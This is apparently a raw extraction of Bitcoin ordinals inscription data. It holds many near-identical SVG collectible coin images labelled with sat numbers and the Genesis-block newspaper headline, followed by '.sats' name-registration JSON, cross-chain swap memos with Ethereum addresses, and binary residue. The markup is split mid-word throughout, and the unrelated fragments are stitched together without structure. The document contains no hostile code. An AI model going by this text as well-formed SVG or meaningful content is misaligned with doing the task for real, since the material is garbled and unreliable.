642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077931</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077931   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503080631</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503080631   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077531</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077531   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503076931</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503076931   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077631</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077631   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078431</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503078431   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077731</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077731   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077231</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077231   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077831</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077831   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503076834</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503076834   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078331</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503078331   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
 000448e703006889369d52c74889a593H0E
QjLN=:ETH.ETH:0x6d21A5cC71ab0Db8600113800A7C34482f927207::t:15:f2:ec7:221698459400
text/plain;charset=utf-8
  "name": "0xx.sats"
Bj@=:ETH.ETH:0xb18fe18b6bea40db0440a833855bd09570e7a45c:1428597:t:0=
FjDOUT:4327F503877218D54E0C60EA2A8F95E4E417C2D614B0C098B35FB09B81B92270
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"blood.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"bloody.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"lmfao.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"blazing.sats"}h!
Created with GIMPd.e
QjLN=:ETH.ETH:0x6d21A5cC71ab0Db8600113800A7C34482f927207::t:15:f2:ec7:110687294000
QjLN=:ETH.ETH:0x6d21A5cC71ab0Db8600113800A7C34482f927207::t:15:f2:ec7:817970708900
